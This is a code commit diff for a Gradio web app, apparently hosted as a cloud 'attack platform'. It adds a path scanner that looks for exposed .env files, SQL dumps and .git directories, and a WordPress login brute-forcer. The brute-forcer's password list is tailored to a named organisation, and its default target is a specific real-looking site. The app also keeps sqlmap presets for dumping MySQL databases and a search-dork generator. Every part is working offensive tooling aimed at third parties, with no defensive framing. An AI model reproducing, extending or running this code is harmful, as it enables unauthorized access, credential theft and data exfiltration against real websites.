TGPro1 commited on
Commit
b63f57f
Β·
verified Β·
1 Parent(s): 1ec74f2

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +146 -13
app.py CHANGED
@@ -3,6 +3,11 @@ import subprocess
3
  import os
4
  import shutil
5
  from pathlib import Path
 
 
 
 
 
6
 
7
  # --- Session Restoration Logic ---
8
  def restore_session():
@@ -102,6 +107,109 @@ def set_mysql_attack():
102
  "--dbms=MySQL --dump --force-ssl --random-agent --no-cast"
103
  )
104
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
105
  # --- Dork Studio Logic ---
106
  def generate_dorks(domain, targeted_extensions, find_admin, find_files, find_errors):
107
  dorks = []
@@ -128,13 +236,13 @@ def generate_dorks(domain, targeted_extensions, find_admin, find_files, find_err
128
 
129
  return "\n".join(dorks)
130
 
131
- with gr.Blocks(theme=gr.themes.Soft(primary_hue="blue", secondary_hue="slate")) as demo:
132
- gr.Markdown("# 🌊 SLMP Cloud Runner v2.0 - Ultra Speed 🌩️")
133
- gr.Markdown("Deploy SQLMAP in the cloud for maximum bandwidth. Now includes Alpha Recon Studio.")
134
 
135
  with gr.Tabs():
136
- # TAB 1: ATTACK RUNNER
137
- with gr.TabItem("βš”οΈ Attack Runner"):
138
  with gr.Row():
139
  with gr.Column(scale=2):
140
  url_input = gr.Textbox(label="🎯 Target URL", placeholder="https://example.com/page.php?id=1")
@@ -162,9 +270,29 @@ with gr.Blocks(theme=gr.themes.Soft(primary_hue="blue", secondary_hue="slate"))
162
 
163
  with gr.Column(scale=3):
164
  output_log = gr.Code(label="πŸ“Š LIVE CLOUD LOGS", language="markdown", interactive=False, lines=30)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
165
 
166
- # TAB 2: RECON STUDIO (Merged)
167
- with gr.TabItem("πŸ¦… Alpha Recon Studio"):
168
  with gr.Row():
169
  with gr.Column():
170
  domain_input = gr.Textbox(label="Target Domain", placeholder="example.com")
@@ -178,17 +306,22 @@ with gr.Blocks(theme=gr.themes.Soft(primary_hue="blue", secondary_hue="slate"))
178
  btn_gen = gr.Button("πŸ” Generate Recon Dorks", variant="primary")
179
 
180
  with gr.Column():
181
- dork_output = gr.Code(label="Generated Dorks", language="text", lines=20)
182
 
183
- # Event handlers Runner
184
  btn_run.click(run_sqlmap,inputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input], outputs=output_log, queue=True)
185
  btn_hashi.click(set_hashi_victory, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input])
186
  btn_search.click(set_search_attack, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input])
187
  btn_mysql.click(set_mysql_attack, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input])
188
-
189
- # Event handlers Recon
 
190
  btn_gen.click(generate_dorks, inputs=[domain_input, ext_input, check_admin, check_files, check_errors], outputs=dork_output)
191
 
192
  if __name__ == "__main__":
193
- print("✨ SLMP Panel Live.")
194
- demo.queue().launch(server_name="0.0.0.0", server_port=7860)
 
 
 
 
 
3
  import os
4
  import shutil
5
  from pathlib import Path
6
+ import requests
7
+ import re
8
+ from concurrent.futures import ThreadPoolExecutor
9
+ import time
10
+ import random
11
 
12
  # --- Session Restoration Logic ---
13
  def restore_session():
 
107
  "--dbms=MySQL --dump --force-ssl --random-agent --no-cast"
108
  )
109
 
110
+ # --- Auto Hunter Logic (Merged) ---
111
+ COMMON_PATHS = [
112
+ ".env", "wp-config.php.bak", "config.php.bak", "db.sql", "database.sql", "dump.sql", "backup.zip",
113
+ "admin/", "login/", "wp-admin/", "dashboard/", "panel/", "user/", "auth/", "phpinfo.php",
114
+ "robots.txt", "sitemap.xml", ".git/HEAD", ".vscode/sftp.json"
115
+ ]
116
+
117
+ def auto_hunt(domain):
118
+ if not domain:
119
+ yield "❌ Enter a domain first."
120
+ return
121
+
122
+ domain = domain.replace("https://", "").replace("http://", "").strip("/")
123
+ base_url = f"https://{domain}"
124
+
125
+ yield f"πŸš€ Launching Smart Auto-Hunter on {base_url}...\n"
126
+
127
+ def check_path(path):
128
+ url = f"{base_url}/{path}"
129
+ try:
130
+ r = requests.get(url, timeout=3, headers={"User-Agent": "Mozilla/5.0 (AutoHunter)"})
131
+ code = r.status_code
132
+ size = len(r.content)
133
+
134
+ if code == 200:
135
+ if size < 500 and "do not exist" in r.text.lower():
136
+ return None
137
+ return f"βœ… FOUND: {url} (Size: {size})"
138
+ elif code == 403:
139
+ return f"πŸ”’ FORBIDDEN: {url}"
140
+ return None
141
+ except:
142
+ return None
143
+
144
+ results = []
145
+ with ThreadPoolExecutor(max_workers=10) as executor:
146
+ futures = [executor.submit(check_path, p) for p in COMMON_PATHS]
147
+ for f in futures:
148
+ res = f.result()
149
+ if res:
150
+ results.append(res)
151
+ yield "\n".join(results)
152
+
153
+ if not results:
154
+ yield "\n🀷 No standard vulnerabilities found."
155
+ else:
156
+ yield "\nπŸŽ‰ HUNT COMPLETE!"
157
+
158
+ # --- Brute Force Logic (Merged) ---
159
+ PASSWORDS = [
160
+ "admin", "password", "123456", "hashi", "hashi123", "hashi2024", "hashi2025", "hashi.ae",
161
+ "admin123", "admin2024", "admin2025", "qwerty", "letmein", "master", "root",
162
+ "dragon", "superman", "welcome", "welcome1", "pass123", "love", "secret",
163
+ "hashi_admin", "admin_hashi", "dubai", "uae", "uae123", "abudhabi", "dubai123"
164
+ ]
165
+
166
+ HEADERS = {
167
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
168
+ }
169
+
170
+ def brute_force(url, username, custom_list):
171
+ if not url or not username:
172
+ yield "❌ URL and Username required."
173
+ return
174
+
175
+ pass_list = PASSWORDS.copy()
176
+ if custom_list:
177
+ pass_list += [p.strip() for p in custom_list.split('\n') if p.strip()]
178
+
179
+ yield f"πŸš€ STARTING PLAN E: BRUTE FORCE on {username}@{url}\n"
180
+
181
+ session = requests.Session()
182
+ session.headers.update(HEADERS)
183
+
184
+ for pwd in pass_list:
185
+ try:
186
+ time.sleep(random.uniform(0.5, 1.5)) # Faster in cloud
187
+ data = {
188
+ "log": username, "pwd": pwd, "wp-submit": "Log In",
189
+ "redirect_to": f"{url}/wp-admin/", "testcookie": "1"
190
+ }
191
+ yield f"πŸ”‘ Testing: {pwd} ... "
192
+
193
+ r = session.post(url, data=data, timeout=5, allow_redirects=True)
194
+
195
+ if any(s in r.text for s in ["dashboard", "wp-admin", "Log Out", "Howdy"]):
196
+ yield "βœ… SUCCESS! πŸ”“\n"
197
+ yield f"πŸŽ‰ CREDENTIALS FOUND: {username}:{pwd}\n"
198
+ return
199
+ elif "incorrect_password" in r.text or "lost your password" in r.text:
200
+ yield "❌ Failed.\n"
201
+ elif "wp-admin" in r.url:
202
+ yield "βœ… SUCCESS (Redirect)! πŸ”“\n"
203
+ yield f"πŸŽ‰ CREDENTIALS FOUND: {username}:{pwd}\n"
204
+ return
205
+ else:
206
+ yield "❌ Failed.\n"
207
+
208
+ except Exception as e:
209
+ yield f"⚠️ Error: {str(e)}\n"
210
+
211
+ yield "\nπŸ’€ Wordlist Exhausted."
212
+
213
  # --- Dork Studio Logic ---
214
  def generate_dorks(domain, targeted_extensions, find_admin, find_files, find_errors):
215
  dorks = []
 
236
 
237
  return "\n".join(dorks)
238
 
239
+ with gr.Blocks() as demo:
240
+ gr.Markdown("# 🌊 GHOST RUNNER v2.1 (FIXED) πŸ‘»")
241
+ gr.Markdown("Unified Cloud Attack Platform: SQLMap + Auto-Hunter + Brute Force.")
242
 
243
  with gr.Tabs():
244
+ # TAB 1: ATTACK RUNNER (SQLMap)
245
+ with gr.TabItem("βš”οΈ SQL Attack Runner"):
246
  with gr.Row():
247
  with gr.Column(scale=2):
248
  url_input = gr.Textbox(label="🎯 Target URL", placeholder="https://example.com/page.php?id=1")
 
270
 
271
  with gr.Column(scale=3):
272
  output_log = gr.Code(label="πŸ“Š LIVE CLOUD LOGS", language="markdown", interactive=False, lines=30)
273
+
274
+ # TAB 2: AUTO HUNTER
275
+ with gr.TabItem("πŸ€– Auto-Hunter (Recon)"):
276
+ with gr.Row():
277
+ with gr.Column():
278
+ t_domain = gr.Textbox(label="Target Domain", placeholder="younzee.com")
279
+ btn_auto = gr.Button("πŸš€ START AUTO-SCAN", variant="primary")
280
+ with gr.Column():
281
+ t_output = gr.Code(label="Live Results", language="markdown", lines=20)
282
+
283
+ # TAB 3: BRUTE FORCE (Plan E)
284
+ with gr.TabItem("πŸ₯Š Brute Force (Plan E)"):
285
+ with gr.Row():
286
+ with gr.Column():
287
+ bf_url = gr.Textbox(label="Login URL", value="https://younzee.com/wp-login.php")
288
+ bf_user = gr.Textbox(label="Username", value="admin")
289
+ bf_pass = gr.Textbox(label="Custom Passwords", lines=5)
290
+ btn_bf = gr.Button("πŸ₯Š LAUNCH ATTACK", variant="stop")
291
+ with gr.Column():
292
+ bf_out = gr.Code(label="Brute Force Logs", language="markdown", lines=20)
293
 
294
+ # TAB 4: RECON STUDIO (Legacy)
295
+ with gr.TabItem("πŸ¦… Dork Studio"):
296
  with gr.Row():
297
  with gr.Column():
298
  domain_input = gr.Textbox(label="Target Domain", placeholder="example.com")
 
306
  btn_gen = gr.Button("πŸ” Generate Recon Dorks", variant="primary")
307
 
308
  with gr.Column():
309
+ dork_output = gr.Textbox(label="Generated Dorks", lines=20)
310
 
311
+ # Event handlers
312
  btn_run.click(run_sqlmap,inputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input], outputs=output_log, queue=True)
313
  btn_hashi.click(set_hashi_victory, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input])
314
  btn_search.click(set_search_attack, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input])
315
  btn_mysql.click(set_mysql_attack, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input])
316
+
317
+ btn_auto.click(auto_hunt, inputs=t_domain, outputs=t_output)
318
+ btn_bf.click(brute_force, inputs=[bf_url, bf_user, bf_pass], outputs=bf_out)
319
  btn_gen.click(generate_dorks, inputs=[domain_input, ext_input, check_admin, check_files, check_errors], outputs=dork_output)
320
 
321
  if __name__ == "__main__":
322
+ print("✨ Ghost Runner v2.1 Command Center Live.")
323
+ demo.queue().launch(
324
+ server_name="0.0.0.0",
325
+ server_port=7860,
326
+ theme=gr.themes.Soft(primary_hue="blue", secondary_hue="slate")
327
+ )